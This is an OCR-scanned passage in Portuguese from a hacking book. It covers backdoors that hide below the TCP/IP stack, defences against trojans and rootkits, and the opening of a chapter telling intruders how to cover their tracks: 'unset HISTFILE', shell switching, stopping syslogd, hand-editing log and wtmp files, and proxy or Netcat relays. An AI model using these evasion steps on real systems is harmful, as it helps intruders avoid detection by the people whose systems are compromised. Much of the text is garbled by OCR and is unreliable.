aqui descrita j foi cokx::ada em prliCl pelo menos em prov-dS de conceito.
Voltemos aos kernel rOOlkilS. Com eles, podemos adicionar drivers, funciona-
lidade e problemas em modo kemel aos sistemas opemcionais. Podemos, inclu-
sive, brincar com a pilha TCP/IP e adicionar camadas de baixo nivel entre cI;IS.
Portamo, simples LKMs nos Unix e patches no Windows podem adicionar ao
sistema funcionalidades Layer-O.
Tomando o Windows 9x como exemplo, possvel criar um VxD (releia o
captulo sobre plalaformas Windows) que implememe essa camada. Um ftrewall
local (como o ZoneAlarm, o B1ackJce ou o Tmy FirewaLl, por exemplo) trabalha
no 1:Ido "de dentro" da mquina, depois que os dados j passarJ.m por Ioda a
pilha de rede. Se houver algum pacOle ou comunicao maliciosa ocorrendo, o
firewall nunca saber. A camada extra adicionada extrJ.ir os dados pertinen-
tes conexo do hacker e os passar - por comunicao interprocessos e
pulando toda a estrutura TCP/IP - para o backdoor ou troj,m.
13291
I Ataque, defesa e cont ra-ataque: Manuteno
I Universidade H4CK3R I
330 I
Uma simples OU que ex-
porte uma $PI (Service
Provider Interface) tanto
para as camadas superiores
crCP ou mesmo de aplica-
o) quanto para as de mais
baixo nvel (a camada
Ethernet ou PPp, por exem-
plo) JXXIe intemlcdiar a co-
municao e o stack
TCP/IP. Essa DLL poderia
usar parasiticamente portas
de comunkao - ou seja,
MOlilla
- '
IeQ
..
""
/
TCP FlREWAll I
Extra
- ----_.' ----._- _ ..... :
._ ......
":
BACKDOOR
't .
. -_ .... _ .... -_.
IP
Ethernet
Retira comandos e
devolve pacota TC
Il "' Rede
Il
aproveit-las estando elas em uso ou no, e no conectar sockets caso no estejam
- e tambm gerar portas-fantasmas que no so mostradas em ferramentas como
o Netstat ou o EthereaJ. Ou, pelo contr"J.rio: essas POrtas-f,Ultasm.:tS poderiam estar
mostrando trfego falso, mas "benigno", confundindo o administrador de que est
nldo bem. Ou mais malvado ainda: apresentar para os aplicativos tr.uego de rede
como sendo local (imer-processos) e desviar tr".uego local originado por aplicativos
para a rede e no para os processos a que se destinam. No caminho contrrio, a
OU JXXIeria injetar a comunicao de resposta ao hackcr no fluxo de dados de um
aplicativo existente, reconheddo e autorizado - seu browser padcio, por exem-
plo, ou aquele prograntinha de mensagens instantneas.
Mozilla
II
Outdoor 100
II
Firewall
1
Inrface I Apli cativo
TCP
IP BAGKDOOR
Ethernet
SPI
Driver da Placa

fiada
Mas h uma maneira mais
ultrajante ainda - e mais
eficiente. At agora no
havamos chegado a uma
implememao Layer-O ver-
dadeira. Mas transcenden-
do o pode-se "plan-
a DLL em uma camada
o mais baixo possvel na
pilha de rede - abaixo at
(ou imediatamente antes,
dependendo do caso) do
Ethernet, do PPP/SLlP ou mesmo de coisas mais especficas como Frame Relay
ou X.25. Uma conexo dessas nunca ser mostrada em qualquer sniffer ou
pelo netstat, nunca ser detectada pelo firewall local baseado em software
(ZoneAJarm, BlackIce etc .. . ) e provavelmente passar pelo firewall/gateway
externo pois usar conexes vlidas como Qualquer auditoria no
registro de pacotes (voc costuma ler regularmente os logs do seu firewall ,
no mesmo?) mostrar apenas pacotes originados pelos aplicativos comuns
- seu browser, cliente de e-mail , MSN Messcnger ..
Ataque, defesa e contra-ataque: Manuteno'
Universidade 3 ano
Para a pilha TCP/lP. o backdoorl
trojan est do lado de fora do com-
putador UIV'dWdo, portanto a piUla no
o consegue ver e, portantO, os software
fircwalls no conseguem deteaar. Por
outro lado, ainda um progr:<una ro-
d'lndo no computador, possivelmente
em h ...mel mode e. com acesso (por CIJ
nnmiClo interprocessos) a qualquer
outro progr.una da mquina. I..sso FJ.Z
.....
Inrface/ Aplicativo
TCP
IP
Ethernet
,,,"
.. .. ----_-: BACKDOOR
Driver d. PIlei
com que literalmente todas as portas do seu ~ e m a estejam ao servio do backdoorl
trojan, e qualqlK..T registro do fircwall V'd mostrar conexes legtimas de rede. Mais
ainda - possvel interceptar qualquer chamada a qualquer APl (do kemel ou de
progr:unas) e acessos a disco e filtr.'i-Ios, remape-Ios ou retomar tuna mentira.
possvel ulclusive enganar IDSs com a tcnica. Nojento e etk. lZ!
Pesquise sobre o modelo de referncia 051, no MSDN (msdn.microsoft.com)
e no TechNet (www.mjcrosoft.com/ technet) parA saber mais sobre Vx.Ds e
sobre a estrutura LSP/ NPI{!' PI/SPI da pilha de rede Microsoft . Obviame nte,
para entender o que est nesses recursos so necessrios conhecimentos mo-
derAdos de programao de baixo nvel - nada de Delphi ou Visual Basic - na
plataforma Windows, especialmente se tiver acesso a lima assinatura do DLL
Developer Kit (DDK) ou do Software Deve10pment Kit (SDK). Par" qualquer
outra plataforma (Unix, VAX/VMS, NoveU, AS/400, M:lcintosh, IBM S/390 ... ) , o
rJciocnio e as tcnicas so exatamente as mesmas.
Defesa e Contra-ataque
Defender-se das amea' dS mostrAdas neste Clprulo no muito fcil . H troj,ms
que, mesmo sendo facilmelllc detectveis, so extremamellle difceis ou mesmo
impossveis de serem removidos. Na experincia dos autores, houve pelo menos
duas situ:les (um Windows 98 SE e wn Windows 2000) em que nem a recupera-
o (1:1 imagem original de instalal0, distribuda nos CDs que vieram junto com o
computador, removeu o troj:Ul . I louve a necessidade de refazer as parties (apa-
g:unento e criao) e formatar o disco rgido, alm de usar uma ferrdmenta de
apagamento total para remover qll:lisquer trAOS do software maHcioso.
Em alguns casos, possvel monitorar :IS conexes e, uma vez detectada a
presena do invasor, rAstre-Ias at se chegar ao culpado. o hesite em contar
com a polcia e com um bom time de advogados caso alguma ao do hacker
malicioso possa ser enqu:ldrJda como crime.
Backdoors, Vrus e Cavalos de Tria
Apesar de serem todos softwares com aplicaes diferentes, a profilaxia e o
remdio para eles , basicamente, a mesma, uma vez que as fonnas de contgio
e os mtodos para deteco e elimina1io so parecidos.
1331 I
I Ataque. defesa e cont ra-ataque: Manuteno
I Universidade H4CK3R I
13321
Antes de mais nada (ou, como diria um companheiro de software livre, em
"zerzimo" lugar), eduque-se e eduque seus funcionrios ou familiares quanto
a prticas seguras de utilizao de recursos de jnformtica e navegao na
Internet. Isso inclui os famosos bordes que as mames nos disseram a vida
toda (e dizem at morrer): no aceite balinha de estranhos e no aceite bali-
nhas estranhas de pessoas conhecidas. Cuidado com as drogas (i.e. Coisas que
voc sabe que so perigosas) e mui lO cuidado quando andar em locais ermos,
pouco iluminados ou suspeitos. So conselhos sbios tambm para a Internet e
para as redes corporativas. , mame tinha razo ...
bvio que o usurio comum no tem como saber se algum programa
nocivo ou foi adulterado, ou se aquele site contm cdigo malicioso, ou se o
documento interno da empresa (e, portanto, oficial e autorizado) em formato
.DOC contm algum vrus de macro ... Mas um pouco de cuidado e alguma
parania pode livrar macaco velho de vrias cumbucas.
Quanto aos cuidados pur.tmente tecnolgicos que podem ser implementados,
em primeiro lugar tenha sempre antivrus e firewalls locais (baseados em
software) atualizados. Sim, eu seu, l atrs eu disse que, casO o atacante (ou o
virus) fosse realmente bom, essas ferramentas no iriam servir para nada. En-
tretanto, seremos "visitados
n
muito mais por moleques tentando brincar de
r 4 q u 3 r ~ do que por bandidos digitais com algum profissionalismo.
Portanto, firewalIs locais como oZone Alann, BlackIce ou o liny FirewalJ ajudam
muito a manter a legio de kiddies longe de seus computadores.Ao mesmo tempo,
um bom fircwaU de rack (como o Cisco PIX) ou implementado com um Unix
(velhos 386 com Unux ou OpenBSD do excelentes firewalJs), com regras de
filtragem e, de preferncia, com conexcs via proxy, tambm ajuda a barmr os
lammers. Sugerimos implementar, seja em casa ou em tuna rede corporativa, am-
bos os tipos de firewall: local (por software) e no ponto de conexo (por hardware).
Da mesma fomla o, antivrus devem ser usados para barrar os vrus conheci-
dos. Mesmo que os antivrus no detenham uma pequena parte dos virus co-
nhecidos e praticamente todos os desconhecidos, seu uso obrigatrio. No
porque est gripado e no h remdio pard isso que voc ir deixar de tomar
um analgsico para a dor de cabea.
Um outro ponto importante a ser observado : conhea o software que est
instalado em seu computador. comum, em casa, que baixemos e instalemos
qualquer bobagem bacana que encontremos na Internet ou que venha em re-
vistas com CDs. Tal prtica deve ser evitada em computadores domsticos e
terminantemente proibida em computadores corporativos. Conhecendo os
softwares instalados no computador, ficar fcil (em alguns casos - noutros
no ... ) de notar alguma coisa estranha rodando na mquina.
Um terceiro item obrigatrio de segurana a adoo de polticas de usu-
rios e administrao. As estacs de trabalho em empresas devem empregar
sofrwares e sistemas oper.tcionais que permitam um controle total por parte
Ataque, defesa e contra-ataque: Manuteno I
Univer si dade 3
D
ano
dos administradores, e que restrinjam ao mximo o que o usurio comum pode
fAzer. Isso inclui bloquear a instalao de progrJ.mas e acesso a reas no auto-
rizadas do computador (como o diretrio C:\ WINDOWS ou o !bin em mqui-
nas Unix). H empresas que usam Macintoshes com Mac OS X, ou Windows
NT!2k!XP, ou mesmo algum Unix para PCs como o FreeBSD ou o Linux. A
escolha corretssima, pois esses sistemas pemlilem montar polticas de direi-
tos sobre o computador e impedir que os usurios (ou algum vnlS ou cavalo
de tria) instalem software no autorizado na mquina. Mas de n:ld:, adianta
colocar um Windows XP Professional como estao de trabalho e no configur-
lo para segurana, deixando-o com as opes padr'lo. Deve-se fazer a sintonia
fina e retirar do usurio comum todas as pemsses de acesso que possivel-
mente sejam danosas para a estao e para a rede.
Mesmo em casa, os usuriOS domsticos do Windows NT/2k/XP e Mac OS
devem criar contas de usurio sem muitas permisses e efetivamente usar
essas contas no dia-a-dia!!! Deixe :I conta do administrador apenas para ad-
ministrao e instalao de programas. O mesmo vaJe para os j no to pou
cos usurios domsticos de Linux. O Unux (e qualquer Unix) j vem kde fbri-
ca" com esse esquema de usurios e permisses. Mas (sempre tem um mas) os
usurios sempre um de subverter esse esquema e comprometer a
segurana. Coisas como subverter o uso do o sudo ou operar com o usurio
root (o maior 5.1crilgio de todos) 5.10 muilO comuns.
Se voc foi infectado, no use qualquer ferrJ.mentas de desinfeco que no
seja de produtores idneos. Baixar uma ferramenta de um local suspeito que
promete retirar o Sub7 do seu computador loucur'J.. Ele pode tanto fazer o
que promete, como remover o Sub7 e instalar outro backdoor, ou ainda
O Suh7 para que seu antivnls no o detecte - mas ele cominua l.
Quanto aos rootkits, uma grAnde maneira de evit-los t: nunca deixar um
usuriO com poderes suficientes para chegar s panes criticas do sistema. Um
rootkit precisa ser instalado. Mesmo que a instalao seja automtica, ele sem-
pre rodar no contexto do usurio. Deixar os usurios com nveis mnimos de
acesso pode dificultar a instalao e ao dos rootkits. Alm disso, a conta
Administrador ou root deve ser observada e guardada a sete chaves. Senhas
difceis de quebrar ou mesmo de adivinhar so obrigatrias. Aplicativos que
no rodem como root/Admin (nunca!) e portanto isolando a conta principal
de qualquer buffer overflow tambm so importantssimos.
Mesmo sistemas bem protegidos, attJalml.dos e configur.tdos possuem falhas. Por-
(aOto, possvel que um dia a1gtul1 h:,cker consiga acesso privilegiado a seu sistema.
detectar d<.""SVios de configura10 e instalao de rootkits, instale IDSs c progra-
mas de inventrio de integridade de ;trquivos - Tripwire (www.tripwjre.com) e
AlDE (www,cS,tut.fV-rammer/aidc,html) so os mais conh<.""Cidos. Verifique as assi-
natur'J.S de todos os programas insUlados e a integricL1de dos arquivos de configura-
o. Todos OS dcsenvolvedores de software modernos possuem bancos de dados
com as assinaUlras M05 de seus executveis crticos.
13331
I Ataque, defesa e contra- ataque: Manuteno
I Universidade H4CK3R I
1334 1
Qwmto a rootkilS baseados em kemcJ, em primeiro lugar, no deixe que Chq.'l.)CJll
ao seu ncleo! Par-'J. comear, se o seu sistema pennitir (e se voc no usar nenJlUm
mdulo importante), desabilite a opo de carregar LKMs. Vai poupar muitas dores
de C'J.bca. Se for o caso e, se possvel, recompile seu kemel ou pea para seu forne-
cedor fa7..-lo. Um kemcl inllUle" LK.Ms certamente estlr. irnlU1C a rootkits LKM.
No caso dos Windows (mesmo da f"mlia WinNT), que no possuem um esque-
ma formal de LKMs, a nica maneira de evitar kemel roolkits impedir que os
arquivos sensveis possam ser alterados por qualquer usurio, alm de cuidar
para manter a senha do Administrador em segurana. Um truque muito usado
deix:ar :a conta chamada Administrador com um:a senha difcil mas sem direito
algum sobre o sistema, e assim criar um despiste parJ. invasores. Cria-se, ento,
outra conta, com outro nome e um:a senha igualmente difcil, e este usurio ser
o administr.!dor de fono. E desabilite o suporte a um Manager.
Note que {XISSivel simular a implementao de LKMs no Windows por meio de
VxDs (releia o captulo sobre Plataformas Wmdows) e, port:amo, o acesso pasta
C\ WINDOWS oU C\ WINNT deve ser bloqueado a todo custo parJ. usurios connUlS.
Uma m:aneira de verificar os discos rigidos procura de flX)tkits (sej:am basea-
dos em kemel ou no) retirlos e intallos em umll mquina s, sem direito de
execuo de programas. Os BOs sero considerados como drives de dados no
sistema de testes, e como no so o kernel e os programas infectados que esto
rodando, e sim os da mquina confivel, todos os arquivos e alteraes dos rootkits
ficaro aparentes e passveis de verificao. Par.! verificar se um rootkit est
farejando a rede, rode, voc mesmo, um sniffer como o Ethereal. Verifique os
modos de operJ.o d:a placa de rede. Se, mesmo com o sniffer, a interface no
aparecer em modo promscuo, um rootkit segurJ.mente o est camuflando.
Em (.Itimo caso, no aproveite nada de um sistema comprometido. Faa
backup dos dados (e apenas dos dados, no da configurao!!!) e refonnate
completamente o sistema, reinstalando-o do zero. No esquea de configur-lo
e arualiz-Io completamente antes de o colocar em produo, caso contrrio o
invasor pode entmr novamente pelo mesmo buraco de antes. Guarde lima c-
pia do tiO comprometido para futura anlise e investigao do ataque. Se pos-
svel , guarde o HD original e coloque um novo no lugar. possvel que o inva-
sor tenha deslizado em apenas um detalhe nfimo, mas esse detalhe, se desco-
berto, pode levar sua localiz:lo e, se :I lei permitir, a sua priso.
Uma ltima dica: Echolot (echolot.sourceforge,net).
Comunicao sem conexes
Enveredamos em terreno pantanoso por aqui. Todas as recomendaes aci-
ma so importantes e obrigatrias, m:as no frei:am, de fornla alguma, especia-
listas de verdade que queimm penetrar em seus sistemas.
No h ncnhwn prog.r.una comerci.1..l que e s e n l l ~ n h e ou f:lcilite as fimf>es abaixo.
A maioria, entretanto, possvel de fa7.er apenas com as prprias configurnOC"S de
sistema operadonal, sem femunentas externas. Observe que so medidas extremas c
Ataque. defesa e contra-ataque: Manuteno I
Universi dade 3f,) ano
que podem ser vistas como panrnia ou mesmo oobagem por albninistr::ldores expe-
rientes, Mas podem ser k.-'Vdas a ClOO caso se pn:."'Cisc de seguranI mxim.a.
Em primeiro lugar, deve-se aplicar toda a canilha e fazer a configumo de
segurana norm:11 que todo sistema deve ter. Isso pr-requisito.
Depois, deve-se restringir o acesso pilha TCP/lP (em cada mquina da rede!).
Apenas progrJ.mas autorizados podem ter acesso pi lha, e mesmo os autoriza.-
dos devem ser verificados qualllo sua assinatura MDS. Qualquer desvio deve
ser bloqueado e informado ao adminislmdor.
No caso de servidores, cada um dos progmmas deve ser execuwdo com um
usurio difereme, e C'Ada usurio desses deve ter acesso a lUll conjunlo diferente de
diretrios, arquivos, bibliotecas, num ambiente que, em Unix, chama-se chrooced.
Mt."Smo o diretrio temporrio (Jtmp ou C\WLNDOWS\TEMP) deve ser dividido
Ix>r processo (ftmp/apache, /tmp/sendmail, /tmp/polxl, /tmp/tripwire, etc.) e com
pennisscs de escrita somente para o usurio correspondente. Dessa fonna, mes-
mo que uma falha seja descoberta e explorad1 em um dos aplicativos, ele estar
confmado em seu :lmbiente prprio e no dar acesso a outras partes do sistema.
Depois, bloqueia-se o acesso a todas as bibliOlCC'.tS e cria-se imagens scpar.ld'lS
delas para aplicltivo - e restritas! Por exemplo, em uma mquina \VmNT pode-se
bloquear completamente todas as Dili do sistema e depois criar imagens com
nUNAS para cacl1 usurio (que, como vimos, representa um nico progr.una).
Por ltimo, uma idia montar todas as LANs internas como VPNs criptogmfadas
por PGP (ou outro formato qualquer). Alm de bloquear trfego vindo de fora
(porque no bate com a criptografia e as chaves usadas), possvel conceber
polticas de acesso fortemente protegidas. Apenas usurios e mquinas com a
chave correta podem acessar detcnninados recursos - dificlimo contomar tal
esqucma.Apenas os servidores externos (como scu servidorWcb) ficaro for.1 da
VPN e aceitado conexes TCP/IP no criplOgrafadas.
E, novamente, relembramos: a famlia Win9x no foi desenvolvida para ser
cliente de rede. A pilha TCP/lP e toda a funcionalidade 5MB foi enxertada de-
pois. Portanto, nunca espere confiabilidade e segurAna delas. Em uma rede
corporativa segUr:l, nem as estaes podem ser Windows 95/98/ Mc. Evite-as.
Se for realmente prcciso usar Windows como estao de trabalho ou servidor,
use sempre Windows 2000 ou superior.
Estamos quase l ...
J vimos como observar, traar nosso plano, atacar e manter o ataque. Falta-
nos, agora, esconder nossos rastros. O proximo captulo tratar disso. Mas an-
tes de continuar, uma pergunta: voc est realmente fazendo as experincias
ou simplesmente lendo o livro como a um romance? Exortamo-Io firmemente a
fazer todas as experincias, desde os primeiros Cllptulos. Caso no as tenha
feito, volte ao princpio e comece de novo.
"A lio j s:dx:mos de cor: S nos rest:1 "prender.. .. Deco Guedes e Ron:ddo B"S(os.
1335 1
I Ataque. defesa e contra-ataque: Manuteno
Ataque, defesa e
contra-ataque:
Evaso
"Em dia de vdria, ningum fica cansado N
Provrbio rabe
I Universi dade H4CK3R I
1338 1
N1io importa se o objetivo do ataque seja causar rebulio ou obter secretamente
algum proveito: qualquer atacante que se preze no deseja ser rastreado e
muito menos apanhado. AJguns detalhes devem ser observados pam que, de-
pois de uma invaso do tipo de arte", a determinao do culpado seja
impossvel ou muito ditlcil.
No captulo anterior, quando falamos em rootkits, vimos que eles podem
esconder um sem-nmero de detalhes e, assim, mascamr a presena e a ao do
hacker no computador atacado. Entretanto, seguro, morreu de velho e, com ou
sem rootkits, altamente desejvel que o invasor tome providncias pam apa-
gar todos os rastros e vestgios de sua passagem pelo sistema. Em vrias plata-
formas h fermmentas que o fazem automaticamente, mas entender os meca-
nismos de registro muito importante pam conferir a eficcia dessas mesmas
ferramentas ou para fazer tudo mo", na falta delas.
Outro detalhe pam o qual O invasor deve estar atento a camuflagem dos
canais de comuicao entre ele e a mquina invadida. Como vimos no captulo
anterior, h maneims de tornar invisvel o fluxo de dados de um backdoor ou
cavalo de truia, simplesmente escondendo os bytes sendo tmnsmitidos/recebi-
dos em conexes vlidas. Neste captulo, veremos mais algumas maneims de
fazer essas conexes invisveis.
Antes de falarmos em evaso, lembre-se de que o disfarce anterior ao ataque
importante. Se voc pretende invadir algum, lembre-se de usar algum tipo
de spoofing antes, como, por exemplo, cadeias de proxies pblicos ou mqui-
nas-laranja rodando redirecionadores Netcat. Usar seu prprio IP para mirar
em algum burrice.
o bsico: apagando os logs
Mesmo kiddies muito ruins sabem que devem apagar seus mstros nos regis-
tros do sistema. A primeira coisa que se tem de saber , ento, onde esto tais
registros. Uma vez com acesso a eles, deve-se ter sempre em mente que no se
pode apaglos todos, caso contrrio sero levantadas muitas suspeitas sobre
o sistema. Apague apenas o que houver sido causado pelas suas andanas em
terreno alheio. E cuidado: alguns sistemas possuem IOSs, outros verificadores
de integridade de arquivos, e alguns, ainda, possuem logs em locais no-padro,
deixando logs falsos no local padro pam enganar invasores de meia-tigela.
Lembre-se: verifique linha por linha, um arquivo por vez, todos os arquivos de
log. Procure por cpias deles em locais no bvios do sistema e, se notar que
est em um Iwneypot
1
, fuja!
1. OJmo vimos em captulos :Ulleriores. honeypots ,.;Jo imencionalmeme deixados como "boi
de pir.Jnlla - pard que wann.1OC ilfllquem. Nomlalmellte. MO sistemas fr.JGlnJenu
com falhas imencionais e de deleco de imrusoli. Muiwli IDSs Jlclusive desvi:un
o intruso (M' honeypots sem que eles perceb:lln. Akm d3. marc.1o (lu:mdo il
presJ i' "parentcm .. fcil, o lom"-se descuidado.
Ataque. defesa e contraataque: Evaso I
Universidade 3
a
ano
Registro de eventos Unix
EnC<lremos os fatos: mesmo tendo padres, protocolos e nonnas em comum, os
Unices so diferentes emre si. ld<l sabor possui um tipo distinto de sistema de
arquivos, hierarquia de diretrios, codificao de caracteres, sintaxe do shell na
rivo, conjunto de comandos padro ... H inclusive com:mdos que, mesmo possu-
indo o mesmo nome em todas as variedades, fabricantes e verses Unix, possuem
sintaxe diferente - ps, route e, mesmo, o Is so dois exemplos clssicos. O siste
ma de registro de eventos no seria, ponanto, imune a essas diferenas.
impossvel listar em um livro como este todos os tipos e particularidades
de logs nas diversas verses dos saoores. Utili7..aremos, ento, o sistema Unux
como modelo para exemplificar uma sesso de nos logs. Se algum
script kiddie estiver lendo este captulo, provavelmente pulou este pariigrafo
e vai tomar a descrio abaixo como receita universal para apagamento de
seus rast.ros. Nossa inteno, entret;mto, outra: mostr.lr o que voc precisa
procurar, no onde, e nem como ...
A primeira coisa que deve ser verificada o histrico de comandos do usu-
rio. No exatamente um log; antes disso, uma lista de comandos j emitidos
que fi ca disposio do usurio para que no precisem ser digitados nova-
mente. Isso evita trabalho repetitivo para O operador - e, como efeito colatef'JI ,
d ao administrador uma fonna de saber o que o usurio anda fazendo ...
Nem todos os shells implementam um histrico de comandos, e cada um
guarda o histrico em um arquivo e local diierente.Apen:ls a ttulo de exemplo,
um sistema Linux normalmente usa a verso GNU do Bourne Shell , o Bash. Esse
interpretador de comandos guard<l o histrico de tudo o que foi digitado (in-
clusive sem sucesso) no arquivo /home/usurio/.bash_hislOry. um arquivo
de texto puro, portanto, bastaria edit-lo para esconder seus mstros. Uma ma
neira mais efetiva, entretanto, seria simplesmeme des;ltivar a varivel de siste-
ma IIISTFlLE, Que indica onde os comandos devem ser armazenados. Para tan-
to, basta emitir unset mSTFILE. Pronto! A partir da , nada mais ser registrado
(nem o prprio unset!) Esse deveria ser O primeiro comando a ser feito, mas a
maioria dos esquece ... ou no sabe ...
Em Uniccs que no usem Bash, uma outra maneira , simplesmente ... trocar
de shell! possvel (e muito provvel) que o shell padro possua histrico, c os
demais no. Portanto, se voc conseguiu uma conta e o sheU padro o 80urne
Shell (prompt $) simplesmente mude-o para o C Shell digitando csh. Se o shell
p<ldro justamente o C Shell (prompt %) , mude P;lf'd o lloume Shell, digit<lndo
sb.A r'd7..O par'd usar sh e csh que qualquer um dos outros (bash, zsh, ksh) tm
rotinas de histrico de comandos completamente implementadas.
J>-dra ajudar <I desviar suspeitas, um atacante mais ousado poderia desviar os
comandos (ou copi-los) do seu prprio histrico p'lra O de outro usurio.
Mesmo que o sistema esteja sob suspeita, durante um tempo razovel os sanlos
pagaro pelos pecadores.
1339 1
Ataque. defesa e cont ra-ataque: Evaso
I Universidade H4CK3R I
1340 1
Depois de enganar O histrico do shell, temos de apagar os rastros nos logs
do sistema. Na maioria dos Unix, O daemon responsvel pelo registro dos logs
de sistema o syslogd. Em qualquer Unix invadido, portanto, interessante
pesquisar nos arquivos de configur.to do daemon (que, no Unux, fica em
/etC/syslog.conf - mas isso varia em outros Unices) e verificar quais os no-
mes dos arquivos de registro de eventos e onde esto gravados.
Como usurio comum (no root) em um Conectiva linux 9, o arquivo /etc/
syslog.conf mostra:
$ cat letc/syslog . conf
# Log alI kernel messages to the console .
# Logging much else clutters up the screen .
#kern. * Idev/console
# Log anything (except mail) of leveI info or higher.
# Don ' t 109 private authentication messages !
.info;mail . none;authpriv . none
# The authpriv file has restricted access .
authpri v .
# Log alI lhe mail messages in one place.
mail.
Ivar/log/messages
Ivar/log/secure
Ivar/log/maillog
# Everybody gets emergency messages, plus log them on another
# machine.
. emerg
# Savemail and news errors of leveI err and higher in a
# special file .
uucp,news . crit Ivar/log/spooler
# Save boot messages also to boot . log
local? . Ivar Ilog/boot . log
Obviamente, cada um dos arquivos indicados no syslogd possui uma funo
diferente. Todas as linhas marcadas com um # so consideradas como coment-
rios e ignoradas. O campo da esquerda define uma srie de regras de registro
a serem aplicadas s mensagcns. Os campos da direila indicam em quais arqui-
vos os registros tm de ser gravados. Observe quc, no syslog.conf acima, o
filtro kem. est direcionado para /dev/console - ou seja, as mensagens do
kernel seriam ecoadas no terminal, caso a linha estivesse descomentada. Como
se pode ver, dispositivos tambm podem ser usados para Jogging, alm dos
arquivos comuns.
Ataque. defesa e contra-ataque: Evaso I
Universidade 3
d
ano
Pelo que podemos observar do syslog.conf, temos, em /var!1og,
/Var/log./messages: reglsrrJ. todas as mensagens de niveI informativo do sistema.
/Var!1og/secure: registra acesso a arquivos e processos restritos.
/Var/log/maillog: regislra mensagens de e-mail enviadas e recebidas.
/var!1og/spooler: registra erros em trocas de Mail, UUCP e News.
/Var!1og/boot.log: registrJ eventos e erros durante o boot.
Novamente lembrando: essas localizaes so para o Conectiva Linux 911!
Procure no prprio Unix invadido quais as localizaes reais dos arquivos.
possvel que o nmero e a funo deles seja diferente: pode haver um arquivo
apenas com todos os logs, ou podem haver, por exemplo, um arquivo separado
para UUCP e outro para e-mail . Script kiddies normalmente usam ferramentas
e scripts de apagamento de logs de um sistema cm outro e, em vez de se escon-
derem, acabam criando mais mensagens de erro nos logs e alertanto o adminis-
trador mais cedo do que o esperado. Olhe antes de agir e faa a coisa certa.
Uma vez descobertos quais os arquivos responsveis pelo registro de even-
tos do Unix sob ataque, podemos passar edio deles. Apesar de existirem
fermmentas que aplicam criptografia forte nos arquivos de log, a grande mai-
oria dos sistemas ainda usam o bom e velho texto puro para grav-los. O que
significa que o hacker pode usa seu editor de textos preferido (emacs, vi , joe,
pico ... ) para edit-lo manualmente. Os autores recomendam sempre edilar
manualmente os arquivos, evitando que sujeira, erros ou imprecises nos scripts
que o fazem automaticamente possam colocar tudo a perder.
Ainda no CL9, vamos ao direlrio /var/log e vejamos o que h por l:
)(""86

.
_.
lov ,
_'0 -,
..
_ .... >; 4
... mt.I<>!I.
"9 ld , ..
!>t.h' e .
'"
-,
_0>;.1
"Y8ql
'0
.. -
.poo ... ,
.,.
.,
rOR.I _pt .r
_.
00

"'Y8ql .
o

_lk ..

5pooh.

-




ron.2

'o
.. .... >; ... n ..
."
.pool
,

eron.} h.1

....Ul/ . n@tcon!
."
re.l .1'001
,
..
,
:r<>n .
-,
..... ... -
""

. "
,

o
'o -, o
.. .-

Observe: alm dos arquivos do syslogd, o diretrio /var/log contm os registros
de outros progrJ.m:as e servidores que rodam na mquina, como Apache, Samba,
CUPS e o XFree86. Convm verificar os logs de lodos eles, uma vez que alguma
ao sua (intencional ou no) pode ter deixado marcas em qua1qucr dclc...'S.
Ocupemos-nos primeiro dos cinco arquivos do syslogd. Ainda como usurio
comum, abra (com seu editor de textos favorito) o arquivo boot.log. Nele es-
to os servios sendo executados, os mdulos do kemel carregados e os servi-
dores que so iniciados e finalizados pelo inetd. Note que h outros, chamados
boot.1og.l , boot.log.2, etc, que guardam logs amigos. Agora lente escrever
qualquer coisa e salvar o arquivo (sempre como usurio comum). Permisso
negada! 01; outros arquivos - maillog, messages, secure e spooler - sequer
do permisso de leitura a usurios comuns.

.,-
....
....
,
,
1341 I
Ataque. defesa e contra- ataque: Evaso
I Universidade H4CK3R I
1342 1
Loguc-se como root (ou, em lUll sisfema invadido, consiga acesso a root usando buffer
overflow ou outra tcnica qualquer) e abra os arquivos. Verifique as sintaxes deles.
Maillog registra a atividade de M l l ~ IMAP e POP locais (sendmail, posdix.,qmail, im.apd,
pop3<l ... ). Messages muito imponante: regi.strd ,IS m(.11sagens entre processos e en-
tre eles e o kemel. Secure, por outro lado, registra mensagens de acesso privik.""giado a
arquivos e processos. Por sua VC""I., spooler guarda :IS mensag<.11S oriwlClas de progra-
mas que lIsam os SLTVi.os de spool (mail, uucp, news, etc). Mesmo que voc 1 ~ O tenrul
mexido com o servidor de SJ\fJl) ou pop, prudente V(.1ificar tambm os arquivos /
Vdf/loglmaillog e tvar/loglspool e ler certaa de Que, inadvertidamente, voc no dis-
parou algum processo que tenrul alterado o Iog. O mo-mo vale para qualquer proces-
so ou arquivo, portanto um cukbdo gera] no los primordial.
Voltando ao /etc/ syslogd.conf, a linha
* Everybody gets emergency messages , p1us 10g them on another
II machine.
. emerg

indiC"d Que quaisquer mensagel1S de emergncia do sistema sero ecoadas a todos
OS Iogs e a todos os usurios. Cuidado com isso: se o sistema detect:JT COl.s.'1S estr.l-
nhas acomecendo, possvel Que todos os usurios sejam avisados - portanto, uma
boa idia parar o servio syslogd ou reinici..Jo com essa linha comentada. Consulte
as pginas de manual. do syslogd e do syslog_conf no Unix afeGloo para detalhes.
Mas, alm do que monitorado pclo syslogd, h outros arquivos de real impor-
tncia. Um deles o sistema utmp/wtmp/laStlog. O utmp um subsistema que
registra Quem est conectado no presente momemo. Quando o usurio (ou o
administrador) emite um comando who, o comando vai ler em /Var/run/utmp
as infonnacs sobre todas as contas em uso, em Quais tenninais elas esto e, se
for uma conexo remota, o IP de origem da conexo. Por exemplo, no momento
em Que estas linhas esto sendo escritas, o comando who infomla:
henrique pts/O Feb 16 14 ; 42
henrique pts/1 Feb 16 16 ; 07
Entretanto, eu posso dizer ao comando who em Qual arquivo olhar. Se eu
emitir o comando who /var/runJutmp, o resultado serii O mesmo: who sem
argumentos sempre l o arquivo utmp. Mas e se eu pedir para who consultar
cm /var/log/wtmp?
henrique pts/3
henrique pts/3
james pts/O
root ttyl
henrique tty2
henrique tty3
root tty4
root pts/O
root pts/1
Jan
Jan
Fev
Fev
Fev
Fev
Fev
Fev
Fev
9 05 , 14
9 05 , 16
2 11 , 50
5 22 , 16
5 22,17
5 22 , 23
5 22 , 40
5 22 , 49
5 22 , 52
1192 . 168 . 1. 2291
1192.168 . 1.2291
Ataque. defesa e contra-ataque: Evaso I
Universi dade JiI ano
o arquivo muito grande, ento mostr.l.lnos apenas algumas linhas. Observe:
No dia nove de janeiro, o usurio Henrique fez duas conexes a esta mquina
(que, a ttulo de curiosidade, era a 192.168.1.11) a partir de outra, a 192.168.1.229.
No dia dois de fevereiro, o usurio James logou-se localmente na mquina, e no
dia cinco o usurio Henrique logou-se como root vrias vezes.
